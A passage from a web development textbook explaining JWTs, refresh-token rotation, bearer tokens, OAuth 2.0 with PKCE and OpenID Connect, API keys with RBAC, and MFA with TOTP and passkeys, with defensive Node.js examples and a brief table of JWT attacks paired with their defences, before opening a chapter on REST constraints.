3. (Interview) "Your company discovers its user table stores unsalted SHA-1 password hashes. What do you do, today and over the next months?" Hint: wrap existing hashes immediately, rehash at login, consider forcing resets, and think about disclosure.

JSON Web Tokens: Structure and Claims

A session cookie is an opaque ticket: the server must look it up to know who it belongs to. A JSON Web Token (JWT, RFC 7519, pronounced "jot") is a self-contained ticket: it carries the user's identity and attributes inside it, protected by a digital signature so nobody can alter them. Any server that has the verification key can trust it without a database lookup, which is attractive for distributed systems and APIs.

Structure. A JWT is three Base64url-encoded parts separated by dots:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0MiIsIm5hbWUiOiJBZGEiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3OTEwMTgwMDAsImV4cCI6MTc5MTAxODkwMH0.Lf3...signature...
|_________ header _________________| |_______________________________ payload ________________________________________________| |__ signature __|

// Header: how the token is signed
{ "alg": "HS256", "typ": "JWT" }

// Payload: the claims (statements about the subject)
{
  "sub": "42",
  "name": "Ada",
  "role": "admin",
  "iat": 1791018000,
  "exp": 1791018900
}

// Signature: HMACSHA256(base64url(header) + "." + base64url(payload), secret)

Signed, not encrypted. Base64url is an encoding; anyone holding the token can read the payload:

const [, payload] = token.split('.');
console.log(JSON.parse(Buffer.from(payload, 'base64url').toString())); // { sub: '42', name: 'Ada', ... }

The signature guarantees integrity and authenticity (the payload was issued by someone with the key and has not been changed), not confidentiality. Never put passwords, personal data or secrets in a JWT payload. (Encrypted tokens exist, JWE, but are much less common.)

Registered claims. RFC 7519 defines short standard claim names:

Claim	Name	Meaning
iss	Issuer	Who created and signed the token (https://auth.example.com)
sub	Subject	Whom the token is about (user ID), unique within the issuer
aud	Audience	Who the token is intended for (https://api.example.com); recipients must reject tokens not meant for them
exp	Expiration time	Seconds since the Unix epoch after which the token must be rejected
nbf	Not before	Token is not valid before this time
iat	Issued at	When the token was created
jti	JWT ID	Unique identifier, useful for revocation lists and replay detection

Applications add private claims (role, tenant, scope). Keep tokens small: they are sent on every request, and HTTP headers have size limits (often 8-16 KB at proxies).

JWT vs opaque session ID.

	Opaque session ID	JWT
Content	Random string	Signed claims
Validation	Lookup in session store	Signature check + claim checks, no lookup
Revocation	Delete from store: immediate	Hard: valid until exp unless you add a deny list
Size	~32-64 bytes	Hundreds of bytes to several KB
Data freshness	Always current (read from store)	Frozen at issue time (a revoked role remains in the token)
Best fit	Browser sessions for one application	Short-lived API access tokens across services, federated identity (ID tokens)

Key Takeaways

• A JWT is header.payload.signature, each part Base64url-encoded.
• The payload is readable by anyone; the signature only prevents tampering. Keep secrets out.
• Registered claims (iss, sub, aud, exp, nbf, iat, jti) standardise identity and validity.
• JWTs avoid server lookups but are hard to revoke and freeze data at issue time, so keep them short-lived.

Practice

1. (Beginner) Paste a sample JWT into a decoder (or decode it with Buffer.from(part, 'base64url')) and identify the algorithm, subject and expiry time as a human-readable date.
2. (Intermediate) Change one character of a JWT's payload (for example the role) and re-encode it. Explain why a correctly implemented server rejects it.
3. (Interview) "When would you choose server-side sessions over JWTs for a web application?" Hint: consider revocation, number of services, data freshness and the size of each request.

JWT Signing, Verification and Algorithms

The security of a JWT rests entirely on its signature and on how strictly the receiver verifies it. Most real-world JWT vulnerabilities come not from the cryptography but from verifiers that accept the wrong algorithm, skip claim checks or trust the header.

Two families of algorithms.

Family	Examples	Key	Who can sign	Who can verify
HMAC (symmetric)	HS256, HS384, HS512	One shared secret	Anyone with the secret	Anyone with the secret
Asymmetric	RS256 (RSA), PS256 (RSA-PSS), ES256 (ECDSA P-256), EdDSA (Ed25519)	Private/public key pair	Only the private key holder	Anyone with the public key

HS256: auth server and every API share the SAME secret
       -> any API that can verify can also forge tokens

RS256/ES256/EdDSA: auth server signs with its PRIVATE key
       -> APIs verify with the PUBLIC key, published as a JWKS
          (JSON Web Key Set) at e.g. https://auth.example.com/.well-known/jwks.json
       -> compromising an API does not let anyone mint tokens

Use HMAC when the same service issues and verifies tokens; use asymmetric keys when tokens cross service or organisation boundaries. Each key has an ID (kid in the header) so the issuer can rotate keys while old tokens remain verifiable.

Signing and verifying with jose (a dependency-free library that works in Node.js, browsers, Deno and edge runtimes):

import { SignJWT, jwtVerify } from 'jose';

const secret = new TextEncoder().encode(process.env.JWT_SECRET); // at least 256 random bits for HS256

// Issue a token
const token = await new SignJWT({ role: 'admin' })     // private claims
  .setProtectedHeader({ alg: 'HS256' })
  .setSubject('42')
  .setIssuer('https://auth.example.com')
  .setAudience('https://api.example.com')
  .setIssuedAt()
  .setExpirationTime('15m')                            // short-lived
  .sign(secret);

// Verify a token: signature AND claims
try {
  const { payload } = await jwtVerify(token, secret, {
    algorithms: ['HS256'],                             // allowlist: never trust the header's alg
    issuer: 'https://auth.example.com',
    audience: 'https://api.example.com',
    clockTolerance: 30,                                // seconds of allowed clock skew
  });
  console.log(payload.sub, payload.role);              // '42' 'admin'
} catch (err) {
  // JWTExpired, JWSSignatureVerificationFailed, JWTClaimValidationFailed, ...
  console.error('Rejected:', err.code);
}

// Asymmetric verification against a remote JWKS (keys fetched and cached by kid)
import { createRemoteJWKSet, jwtVerify } from 'jose';

const JWKS = createRemoteJWKSet(new URL('https://auth.example.com/.well-known/jwks.json'));
const { payload } = await jwtVerify(token, JWKS, {
  algorithms: ['ES256', 'RS256'],
  issuer: 'https://auth.example.com',
  audience: 'https://api.example.com',
});

Classic attacks and their defences.

Attack	How it works	Defence
alg: none	Attacker sets the header to {"alg":"none"} and removes the signature; naive libraries accept it	Allowlist algorithms; modern libraries reject none by default
Algorithm confusion	Server expects RS256; attacker sends an HS256 token signed with the server's public key as the HMAC secret	Allowlist algorithms per key; never let the token choose
Weak HMAC secret	Short or guessable secrets can be brute-forced offline from any token	At least 256 random bits from a CSPRNG, stored in a secrets manager
Missing claim checks	Expired tokens or tokens for another service are accepted	Always validate exp, iss, aud (and nbf)
Header injection (jku, x5u, kid)	Attacker points the verifier to their own key or injects paths into kid	Never fetch keys from URLs in the token; treat kid as a lookup key only
decode instead of verify	Code reads claims without verifying the signature	Use the library's verify function; decode only for debugging

Key Takeaways

• HMAC algorithms share one secret between signer and verifiers; asymmetric algorithms let anyone verify with a public key while only the issuer can sign.
• Publish public keys as a JWKS and rotate keys with kid.
• Always verify the signature with an algorithm allowlist, then check exp, iss and aud.
• Use long random secrets for HMAC and never trust key locations or algorithms from the token header.

Practice

1. (Beginner) Generate a 256-bit secret with node -e "console.log(require('crypto').randomBytes(32).toString('base64url'))", then sign and verify a token with jose.
2. (Intermediate) Generate an Ed25519 key pair with generateKeyPair('EdDSA') from jose, export the public key as a JWK, serve it as a JWKS from a small server, and verify tokens in a second process using createRemoteJWKSet.
3. (Interview) "Explain the RS256-to-HS256 algorithm confusion attack and why it worked." Hint: what does the attacker know about an RS256 verification key, and what does an HMAC verifier do with the key it is given?

Access Tokens, Refresh Tokens and Revocation

Self-contained tokens create a dilemma. Long-lived tokens are convenient but dangerous: a stolen token works until it expires and cannot easily be revoked. Very short-lived tokens are safer but would force users to log in constantly. The standard solution splits the job between two tokens.

	Access token	Refresh token
Purpose	Authorise API calls	Obtain new access tokens
Sent to	Every API request (Authorization: Bearer)	Only the authorization server's token endpoint
Lifetime	Short: 5-15 minutes typical	Long: days to months, often with absolute and idle limits
Format	Often JWT (verified locally) or opaque	Opaque random string, stored (hashed) on the server
Revocation	Usually waits for expiry	Immediate: delete it from the database

Client                                   Auth server                       API
  | login (password, OAuth code...)        |                                |
  |--------------------------------------->|                                |
  |  access token (15 min) + refresh token |                                |
  |<---------------------------------------|                                |
  |  GET /orders  Authorization: Bearer AT ------------------------------->| verify JWT locally
  |<------------------------------------------------------------------------| 200
  |              ... 15 minutes later ...                                   |
  |  GET /orders  Authorization: Bearer AT ------------------------------->| exp passed
  |<------------------------------------------------------------------------| 401 (invalid_token)
  |  POST /token  grant_type=refresh_token  refresh_token=RT1              |
  |--------------------------------------->| RT1 valid? rotate:            |
  |  new AT + new RT2  (RT1 invalidated)   |   mark RT1 used, issue RT2     |
  |<---------------------------------------|                                |
  |  retry GET /orders with new AT ---------------------------------------->| 200

The refresh token is checked against a database on every use, so revocation (logout, password change, admin action) takes effect within one access-token lifetime at most.

Refresh token rotation and reuse detection. Each refresh returns a new refresh token and invalidates the old one. If an old refresh token is ever presented again, either the legitimate client or a thief is replaying a stolen copy; the server cannot tell which, so it revokes the whole token family and forces a new login.

// Token endpoint sketch with rotation and reuse detection
import { randomBytes, createHash } from 'node:crypto';
const sha256 = (s) => createHash('sha256').update(s).digest('hex');

app.post('/token', async (req, res) => {
  const presented = req.cookies.refresh_token;                 // HttpOnly cookie (browser) or body (native)
  const record = await db.refreshTokens.findByHash(sha256(presented ?? ''));

  if (!record || record.expiresAt < Date.now()) return res.status(401).json({ error: 'invalid_grant' });
  if (record.usedAt) {                                          // reuse: likely theft
    await db.refreshTokens.revokeFamily(record.familyId);
    return res.status(401).json({ error: 'invalid_grant' });
  }

  await db.refreshTokens.markUsed(record.id);
  const newRefresh = randomBytes(32).toString('base64url');
  await db.refreshTokens.insert({ hash: sha256(newRefresh), userId: record.userId,
                                  familyId: record.familyId, expiresAt: Date.now() + 30 * 864e5 });
  const accessToken = await issueAccessToken(record.userId);   // short-lived JWT

  res.cookie('refresh_token', newRefresh, {
    httpOnly: true, secure: true, sameSite: 'strict', path: '/token', maxAge: 30 * 864e5,
  });
  res.json({ access_token: accessToken, token_type: 'Bearer', expires_in: 900 });
});

Refresh tokens are stored hashed (like passwords, but a fast hash is fine because they are long and random) so a database leak does not expose usable tokens.

Revoking access tokens before they expire. If waiting up to 15 minutes is unacceptable:

Technique	How	Cost
Short lifetimes	5 minutes or less	More refresh traffic
Deny list	Store revoked jti values (or "tokens issued before time T for user U") in Redis until they expire	One cache lookup per request: partially gives up statelessness
Token versioning	User record has a tokenVersion; increment on logout-all; tokens carry the version	One lookup (often cached)
Introspection	Opaque access tokens checked with the auth server (RFC 7662)	A network call per request (cache briefly)

Client-side handling. A client should refresh proactively shortly before expiry, or reactively on a 401, and must avoid firing several refreshes at once when many requests fail simultaneously (otherwise rotation reuse detection will log the user out):

let refreshing = null;                                     // shared in-flight refresh promise

async function apiFetch(url, options = {}, retried = false) {
  const res = await fetch(url, { ...options, headers: { ...options.headers,
                                 Authorization: `Bearer ${accessToken}` } });
  if (res.status !== 401 || retried) return res;
  refreshing ??= refreshAccessToken().finally(() => { refreshing = null; }); // one refresh at a time
  await refreshing;
  return apiFetch(url, options, true);                     // retry once with the new token
}

Key Takeaways

• Short-lived access tokens limit damage from theft; long-lived refresh tokens avoid constant logins.
• Refresh tokens are opaque, stored hashed, sent only to the token endpoint, and revocable instantly.
• Rotate refresh tokens on every use and revoke the whole family when reuse is detected.
• Immediate access-token revocation needs extra state: deny lists, token versions or introspection.
• Clients should refresh once, share the in-flight refresh, and retry the original request.

Practice

1. (Beginner) Explain why the refresh token cookie in the example uses Path=/token and SameSite=Strict.
2. (Intermediate) Implement the token endpoint with an in-memory store, then write a test that uses a refresh token twice and verifies that the second use revokes the newer token as well.
3. (Interview) "A user changes their password because they think their account is compromised. With JWT access tokens and refresh tokens, how do you make sure the attacker loses access?" Hint: consider both token types and how long each would otherwise remain valid.

Bearer Tokens and the Authorization Header

A bearer token (RFC 6750) is a token whose mere possession grants access, just like cash or a concert ticket: whoever bears it can use it, with no further proof of identity. Most API access tokens, including JWTs issued by OAuth servers, are bearer tokens sent in the Authorization header.

The header format.

GET /v1/orders HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJhbGciOiJFUzI1NiIsImtpZCI6IjIwMjYtMDkifQ.eyJzdWIiOiI0MiIs...

Authorization: <scheme> <credentials> is the general HTTP authentication syntax; Bearer is the scheme, as Basic and Digest were in earlier topics. Tokens can technically also be sent as a form field or a query parameter, but query parameters end up in logs, browser history and Referer headers, so the header is the only recommended method.

Errors use WWW-Authenticate.

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer realm="api", error="invalid_token", error_description="The access token expired"

Situation	Status	error value
No token	401	(none, just WWW-Authenticate: Bearer realm="api")
Malformed request	400	invalid_request
Expired, revoked or invalid token	401	invalid_token
Valid token, missing permission (scope)	403	insufficient_scope (with scope="orders:write")

Validating bearer tokens in middleware.

import { createRemoteJWKSet, jwtVerify } from 'jose';

const JWKS = createRemoteJWKSet(new URL('https://auth.example.com/.well-known/jwks.json'));

export function requireToken(requiredScope) {
  return async (req, res, next) => {
    const match = /^Bearer (\S+)$/i.exec(req.get('Authorization') ?? '');
    if (!match) {
      res.set('WWW-Authenticate', 'Bearer realm="api"');
      return res.sendStatus(401);
    }
    try {
      const { payload } = await jwtVerify(match[1], JWKS, {
        issuer: 'https://auth.example.com', audience: 'https://api.example.com',
        algorithms: ['ES256'],
      });
      const scopes = String(payload.scope ?? '').split(' ');   // OAuth scopes are space-separated
      if (requiredScope && !scopes.includes(requiredScope)) {
        res.set('WWW-Authenticate', `Bearer error="insufficient_scope", scope="${requiredScope}"`);
        return res.sendStatus(403);
      }
      req.auth = payload;                                      // available to route handlers
      next();
    } catch {
      res.set('WWW-Authenticate', 'Bearer error="invalid_token"');
      res.sendStatus(401);
    }
  };
}

// app.get('/v1/orders', requireToken('orders:read'), listOrders);

The bearer weakness and sender-constrained tokens. Because possession is enough, a token leaked through logs, a malicious browser extension or a compromised proxy can be replayed from anywhere until it expires. Mitigations:

• short lifetimes and narrow scopes and audiences;
• HTTPS only, never in URLs, redacted from logs;
• sender-constrained tokens, which bind the token to a key the client holds: DPoP (RFC 9449) makes the client sign a small proof JWT for each request with its private key, and mTLS-bound tokens (RFC 8705) tie the token to the client's TLS certificate. A thief who copies the token alone cannot use it.

GET /v1/orders HTTP/1.1
Authorization: DPoP eyJhbGciOiJFUzI1NiIs...          <- access token bound to the client's key
DPoP: eyJ0eXAiOiJkcG9wK2p3dCIsImFsZyI6IkVTMjU2...     <- per-request proof signed with that key

Key Takeaways

• Bearer tokens grant access to whoever presents them; treat them like cash.
• Send them in Authorization: Bearer <token>, never in URLs.
• Respond with 401 + WWW-Authenticate: Bearer error="invalid_token" for bad tokens and 403 + insufficient_scope for missing permissions.
• Limit damage with short lifetimes, narrow scopes and audiences; DPoP or mTLS binding makes stolen tokens useless.

Practice

1. (Beginner) Call a public API that uses bearer tokens (for example the GitHub REST API with a personal access token) using curl -H "Authorization: Bearer ..." and observe the response with a valid, an invalid and no token.
2. (Intermediate) Wire the requireToken middleware into an Express app with two routes needing different scopes, and test all four error cases from the table.
3. (Interview) "What does DPoP protect against that HTTPS alone does not?" Hint: HTTPS protects the token in transit; think about where else a token can leak and what an attacker would additionally need.

OAuth 2.0 and OpenID Connect

Imagine a printing service that needs your photos from a cloud drive. Giving it your cloud password would let it read your email, change your password and keep access forever. OAuth 2.0 (RFC 6749) solves this delegated authorization problem: you authorise the printing app to access only your photos, for a limited time, without ever showing it your password. The analogy is a hotel key card: reception (the authorization server) issues a card that opens only your room, expires at checkout and can be deactivated, without handing out the master key.

Roles.

Role	Example
Resource owner	You, the user who owns the photos
Client	The printing app requesting access
Authorization server	The cloud provider's login and consent service; issues tokens
Resource server	The cloud provider's photo API; accepts access tokens

Authorization Code flow with PKCE. The recommended flow for web apps, SPAs and mobile apps alike:

User        Client (print app)              Authorization server            Photo API
 |  "Connect drive"  |                               |                           |
 |------------------>| 1. create code_verifier (random), code_challenge = SHA256(verifier)
 |                   | 2. redirect browser to:                                   |
 |<------------------|    /authorize?response_type=code&client_id=print-app      |
 |                   |      &redirect_uri=https://print.app/callback             |
 |                   |      &scope=photos.read&state=xyz                         |
 |                   |      &code_challenge=...&code_challenge_method=S256       |
 |-------------------------------------------------->| 3. user logs in at the    |
 |                   |                               |    provider, sees consent:|
 |                   |                               |    "Print app wants to    |
 |                   |                               |     read your photos"     |
 |<--------------------------------------------------| 4. redirect back:         |
 |  /callback?code=SplxlOB&state=xyz                 |                           |
 |------------------>| 5. check state == xyz         |                           |
 |                   | 6. POST /token  code=SplxlOB, code_verifier=..., client auth
 |                   |------------------------------>| verify SHA256(verifier)   |
 |                   |                               |   == stored challenge     |
 |                   |<------------------------------|                           |
 |                   |  access_token, refresh_token, expires_in, scope           |
 |                   | 7. GET /photos  Authorization: Bearer access_token ------>|
 |                   |<---------------------------------------------------------|

• The authorization code travels through the browser (front channel) but is short-lived and useless alone.
• Tokens are obtained on the back channel (POST /token), out of the browser's URL bar.
• state ties the callback to the request the client started, defeating CSRF on the callback.
• PKCE (Proof Key for Code Exchange, RFC 7636) ensures that whoever redeems the code is the client that started the flow, even if the code was intercepted. It is required for public clients (SPAs, mobile) and recommended for all.

// Creating the PKCE pair (works in browsers and Node.js via Web Crypto)
const verifier = crypto.getRandomValues(new Uint8Array(32))
  .reduce((s, b) => s + b.toString(16).padStart(2, '0'), '');        // 64 hex chars
const digest = await crypto.subtle.digest('SHA-256', new TextEncoder().encode(verifier));
const challenge = btoa(String.fromCharCode(...new Uint8Array(digest)))
  .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');       // base64url, no padding

Grant types.

Grant	Use	Status
Authorization Code + PKCE	Users signing in through web, SPA and mobile apps	Recommended
Client Credentials	Machine-to-machine; no user involved	Recommended
Device Authorization	TVs, CLIs: user approves on another device	Recommended for input-constrained devices
Refresh Token	Renew access tokens	Recommended (with rotation for public clients)
Implicit	Tokens returned directly in the URL fragment	Deprecated (leaks tokens)
Resource Owner Password	Client collects the user's password	Deprecated (defeats the purpose)

OAuth 2.1, a consolidation currently being finalised by the IETF, formally removes Implicit and Password and makes PKCE mandatory.

OAuth is not authentication. An access token says "the bearer may read photos"; it is meant for the API, not for the client, and does not reliably tell the client who the user is. Using it to "log in with X" led to many vulnerabilities. OpenID Connect (OIDC) is a thin identity layer on top of OAuth 2.0 that fixes this:

• The client requests the openid scope (plus profile, email).
• The token response also contains an ID token: a JWT for the client stating who the user is and how they authenticated.
• A standard /userinfo endpoint, a discovery document (/.well-known/openid-configuration) and a JWKS make integration uniform across providers.

// Decoded ID token payload
{
  "iss": "https://accounts.example.com",
  "sub": "248289761001",                 // stable user identifier at this provider: use it, not email
  "aud": "print-app",                    // must equal your client_id
  "exp": 1791019800,
  "iat": 1791016200,
  "nonce": "n-0S6_WzA2Mj",               // must match the nonce you sent (replay protection)
  "email": "ada@example.com",
  "email_verified": true,
  "auth_time": 1791016190,
  "amr": ["pwd", "otp"]                  // authentication methods used (here: password + OTP)
}

	OAuth 2.0	OpenID Connect
Purpose	Delegated authorization: access an API on the user's behalf	Authentication: learn who the user is (single sign-on, "Sign in with...")
Main artifact	Access token (for the resource server)	ID token (for the client) + access token
Token format	Not specified (opaque or JWT)	ID token is always a JWT

In practice, use a certified library (openid-client for Node.js, Auth.js, or your provider's SDK) or a hosted identity provider (Auth0/Okta, Microsoft Entra ID, Google, Keycloak, Cognito) rather than implementing the flows by hand.

Key Takeaways

• OAuth 2.0 delegates limited, revocable API access to a client without sharing the user's password.
• Use the Authorization Code flow with PKCE for apps with users and Client Credentials for machines; Implicit and Password grants are deprecated.
• state protects the redirect from CSRF; PKCE protects the authorization code from interception.
• OAuth alone is not authentication; OpenID Connect adds the ID token, userinfo and discovery for login.
• Identify users by iss + sub, validate aud and nonce, and rely on well-tested libraries.

Practice

1. (Beginner) Fetch https://accounts.google.com/.well-known/openid-configuration and find the authorization endpoint, token endpoint, JWKS URI and supported scopes.
2. (Intermediate) Register an OAuth app with GitHub and implement "Sign in with GitHub" in Express using the Authorization Code flow with state, exchanging the code on the server and displaying the user's login name.
3. (Interview) "Why was the Implicit flow deprecated, and what replaced it for single-page applications?" Hint: where did the token appear, and what does PKCE allow a public client to do safely?

API Keys and Role-Based Access Control

Not every caller is a person with a password. Scripts, partner integrations and backend services need credentials too, and once a caller is identified, the application must decide what each one may do. This topic covers the simplest machine credential, the API key, and the most common permission model, role-based access control.

API keys. An API key is a long random secret that identifies a project or client (rather than a user) and is sent with every request:

GET /v1/forecast?city=Turin HTTP/1.1
Host: api.weather.example
Authorization: Bearer wx_live_4eC39HqLyjWDarjtT1zdp7dc        <- or a custom header such as X-API-Key

Use API keys for	Avoid API keys for
Server-to-server calls, scripts, CI jobs	Identifying end users
Metering, quotas and billing per customer	Secrets embedded in front-end or mobile code (they can be extracted)
Simple partner integrations	Fine-grained delegated access (use OAuth)

Managing keys safely.

import { randomBytes, createHash } from 'node:crypto';

// Issue: show the full key to the user ONCE; store only its hash and a prefix
function createApiKey(env = 'live') {
  const secret = randomBytes(24).toString('base64url');
  const key = `wx_${env}_${secret}`;                    // recognisable prefix helps secret scanners
  return {
    key,                                                // display once, never store
    record: {
      prefix: key.slice(0, 12),                         // shown in the dashboard to identify the key
      hash: createHash('sha256').update(key).digest('hex'),
      scopes: ['forecast:read'],
      createdAt: new Date(),
      lastUsedAt: null,
    },
  };
}

// Verify: hash the presented key and look it up
async function authenticateKey(presented) {
  const hash = createHash('sha256').update(presented).digest('hex');
  return db.apiKeys.findActiveByHash(hash);             // null if unknown or revoked
}

Good practice: scope keys to the minimum permissions, allow several keys per account so they can be rotated without downtime, record last use, support immediate revocation, and use recognisable prefixes so tools like GitHub secret scanning can detect leaked keys.

Role-Based Access Control (RBAC). Assigning permissions to each user individually becomes unmanageable as an application grows. RBAC adds an indirection: permissions are granted to roles, and users are assigned roles.

 Users            Roles                 Permissions
 -----            -----                 -----------
 ada    ------->  admin     ---------->  users:manage, posts:delete, posts:publish, posts:write, posts:read
 linus  ------->  editor    ---------->  posts:publish, posts:write, posts:read
 grace  --+---->  author    ---------->  posts:write, posts:read
          +---->  billing   ---------->  invoices:read
 guest  ------->  viewer    ---------->  posts:read

const ROLE_PERMISSIONS = {
  admin:  ['users:manage', 'posts:delete', 'posts:publish', 'posts:write', 'posts:read'],
  editor: ['posts:publish', 'posts:write', 'posts:read'],
  author: ['posts:write', 'posts:read'],
  viewer: ['posts:read'],
};

function can(user, permission) {
  return user.roles.some((role) => ROLE_PERMISSIONS[role]?.includes(permission));
}

function requirePermission(permission) {               // Express middleware
  return (req, res, next) => (can(req.user, permission) ? next() : res.sendStatus(403));
}

app.delete('/api/posts/:id', requireAuth, requirePermission('posts:delete'), deletePost);

Check permissions, not role names, in code (can(user, 'posts:delete') instead of user.role === 'admin'), so roles can be reorganised without touching every handler.

When roles are not enough. RBAC answers "may editors publish posts?" but not "may Grace edit this post?". Real applications combine models:

Model	Decision based on	Example
RBAC	User's roles	Editors may publish
Ownership / ACL	Relationship to the specific resource	Authors may edit their own drafts
ABAC (attribute-based)	Attributes of user, resource, action and context	Accountants may read invoices of their region during business hours
ReBAC (relationship-based)	Graph of relationships	Members of a shared folder may view documents inside it (Google Zanzibar-style systems such as OpenFGA, SpiceDB)

// RBAC + ownership combined
function canEditPost(user, post) {
  if (can(user, 'posts:publish')) return true;                       // editors and admins: any post
  return can(user, 'posts:write') && post.authorId === user.id && post.status === 'draft';
}

Key Takeaways

• API keys identify client applications, not users; store only their hashes, scope them and support rotation and revocation.
• Never ship secret API keys in browser or mobile code.
• RBAC maps users to roles and roles to permissions; check permissions in code, not role names.
• Combine RBAC with ownership checks (or ABAC/ReBAC) for per-resource decisions.

Practice

1. (Beginner) Design roles and permissions for a school platform with students, teachers and administrators, covering courses, grades and user accounts.
2. (Intermediate) Implement API key creation, hashed storage, verification middleware and revocation for an Express API, and show that revoking a key immediately returns 401.
3. (Interview) "A front-end developer puts the company's payment provider secret key in the React app's environment variables. What is the problem, and what is the right architecture?" Hint: everything bundled into front-end code is public; distinguish publishable keys from secret keys.

Multi-Factor Authentication Concepts

Passwords are phished, reused across sites and leaked in breaches. Multi-factor authentication (MFA) requires proof from two or more different categories of evidence, so that compromising one factor is not enough.

Factor category	Something you...	Examples
Knowledge	know	Password, PIN, security questions (weak)
Possession	have	Phone with an authenticator app, hardware security key, device-bound passkey
Inherence	are	Fingerprint, face recognition (usually used to unlock a possession factor locally)

Two passwords are still one factor (both are knowledge). A fingerprint that unlocks a passkey on your phone combines possession (the phone's key) and inherence (the fingerprint).

Common second factors, from weakest to strongest.

Method	How it works	Weaknesses
SMS / voice codes	Code sent to the phone number	SIM swapping, SS7 interception, phishable; NIST classes it as "restricted"
Email codes / magic links	Code or link sent to the inbox	Only as strong as the email account
TOTP apps	Time-based codes from a shared secret (Google Authenticator, 1Password, Aegis)	Phishable: a fake site can relay the code in real time
Push notifications	Approve a prompt in an app	"MFA fatigue": users approve spammed prompts; mitigated by number matching
WebAuthn / passkeys	Public-key challenge-response bound to the site's origin	Phishing-resistant; requires compatible devices (all modern platforms)

How TOTP works (RFC 6238). At enrolment the server generates a random secret and shows it as a QR code; the app and server then derive the same 6-digit code from the secret and the current 30-second time step:

T    = floor(unix_time / 30)                  <- changes every 30 seconds
HMAC = HMAC-SHA1(secret, T as 8-byte integer)
code = dynamic_truncate(HMAC) mod 10^6        <- 6 digits, e.g. 492039

QR code content:
otpauth://totp/Example:ada@example.com?secret=JBSWY3DPEHPK3PXP&issuer=Example&digits=6&period=30

// TOTP verification in Node.js with only the standard library (HOTP RFC 4226 + time steps)
import { createHmac, timingSafeEqual } from 'node:crypto';

function hotp(secret, counter, digits = 6) {
  const buf = Buffer.alloc(8);
  buf.writeBigUInt64BE(BigInt(counter));
  const hmac = createHmac('sha1', secret).update(buf).digest();
  const offset = hmac[hmac.length - 1] & 0x0f;                        // dynamic truncation
  const bin = (hmac.readUInt32BE(offset) & 0x7fffffff) % 10 ** digits;
  return String(bin).padStart(digits, '0');
}

function verifyTotp(secret, code, window = 1) {                       // secret: Buffer (base32-decoded)
  const step = Math.floor(Date.now() / 1000 / 30);
  for (let i = -window; i <= window; i++) {                           // tolerate small clock drift
    const expected = Buffer.from(hotp(secret, step + i));
    const given = Buffer.from(String(code));
    if (given.length === expected.length && timingSafeEqual(given, expected)) return true;
  }
  return false;   // also: remember the last accepted step to prevent reuse of the same code
}

Why passkeys are phishing-resistant. With WebAuthn, the authenticator (phone, laptop, security key) creates a key pair per site. At login the server sends a challenge; the authenticator signs it only if the browser confirms that the page's origin matches the site the key was created for. A pixel-perfect fake on examp1e.com gets nothing usable, because there is no code for the user to type into it.

// Browser side of a passkey login (server-generated options; libraries like SimpleWebAuthn help)
const options = await (await fetch('/webauthn/login/options', { method: 'POST' })).json();
const credential = await navigator.credentials.get({
  publicKey: {
    challenge: base64urlToBuffer(options.challenge),   // random, single-use, from the server
    rpId: 'example.com',                               // keys are bound to this domain
    userVerification: 'preferred',                     // fingerprint/face/PIN on the device
  },
});
await fetch('/webauthn/login/verify', { method: 'POST', body: JSON.stringify(serialize(credential)) });
// Server verifies the signature with the stored public key for this credential ID

Passkeys can replace passwords entirely (they combine possession and inherence/knowledge in one gesture) and are synced across a user's devices by Apple, Google and password managers.

Designing MFA flows.

• After the password step, store a "half-authenticated" state in the session and allow only the MFA endpoint until it succeeds; regenerate the session ID after MFA.
• Provide recovery codes at enrolment (single-use, stored hashed) and a careful, human-verified recovery process: account recovery is often the weakest link.
• Rate limit code attempts (a 6-digit code has only a million possibilities).
• Use step-up authentication: ask for a fresh second factor before sensitive actions even within a session.
• Prefer phishing-resistant methods for administrators and high-value accounts.

Key Takeaways

• MFA combines factors from different categories: knowledge, possession, inherence.
• SMS is the weakest common second factor; TOTP is better but phishable; WebAuthn/passkeys are phishing-resistant.
• TOTP derives 6-digit codes from a shared secret and 30-second time steps via HMAC.
• Passkeys bind credentials to the site's origin, so fake sites cannot capture anything reusable.
• Design for recovery, rate limiting, session regeneration after MFA and step-up for sensitive actions.

Practice

1. (Beginner) Classify each method by factor category: a PIN, a YubiKey, a fingerprint, an SMS code, a password manager vault password, a passkey on a phone unlocked with Face ID.
2. (Intermediate) Use the verifyTotp function with a secret enrolled in an authenticator app (generate the QR code from an otpauth:// URI) and confirm that the codes match. Add protection against reusing the same code twice.
3. (Interview) "An attacker runs a real-time phishing proxy between the user and your site. Which MFA methods does it defeat and which does it not?" Hint: consider what the user types or approves, and what a WebAuthn authenticator checks before signing.

<a id="104-rest-style-apis"></a>

10.4 REST-Style APIs

This subchapter explains how to design HTTP APIs in the REST style: the architectural constraints behind REST, resources and URIs, mapping methods to operations, status codes and error formats, maturity levels and hypermedia, collection queries, versioning, documentation with OpenAPI, rate limiting, and how REST compares with RPC and GraphQL.

REST Architectural Constraints

REST (Representational State Transfer) is not a protocol or a standard but an architectural style, described by Roy Fielding in his 2000 doctoral dissertation. Fielding, one of the authors of the HTTP specification, asked why the Web had scaled to millions of independent servers and clients, and summarised the answer as a set of constraints. An architecture that follows them inherits the Web's properties: scalability, evolvability and loose coupling between clients and servers.

Constraint	Meaning	Benefit
Client-server	Separate user interface concerns from data storage	Client and server evolve independently
Stateless	Each request contains all the information needed to process it; no client context is stored on the server between requests	Scalability, reliability, visibility for intermediaries
Cacheable	Responses label themselves as cacheable or not	Fewer interactions, lower latency
Uniform interface	A single, generic interface between components (see below)	Simplicity, independent evolution, generic tools
Layered system	A client cannot tell whether it talks to the origin server or an intermediary	Load balancers, caches, gateways can be inserted transparently
Code on demand (optional)	Servers may send executable code (JavaScript) to extend clients	Extensibility

The uniform interface is the central constraint and has four parts:

1. Identification of resources: every important thing is a resource with an identifier (a URI).
2. Manipulation through representations: clients act on resources by exchanging representations of them (JSON, HTML), not by calling server functions.
3. Self-descriptive messages: each message says how to process it (method, media type, cache headers), so intermediaries understand it without application knowledge.
4. Hypermedia as the engine of application state (HATEOAS): clients discover available actions by following links in representations, as a browser does with links and forms.

The Web itself is the canonical REST system:

  Browser (generic client)  --GET /-->  any site
         <-- HTML representation with links and forms --
  The browser knows nothing about the site in advance: it follows links
  (identification + hypermedia), uses standard methods and media types
  (uniform interface, self-descriptive), and caches by HTTP rules (cacheable).

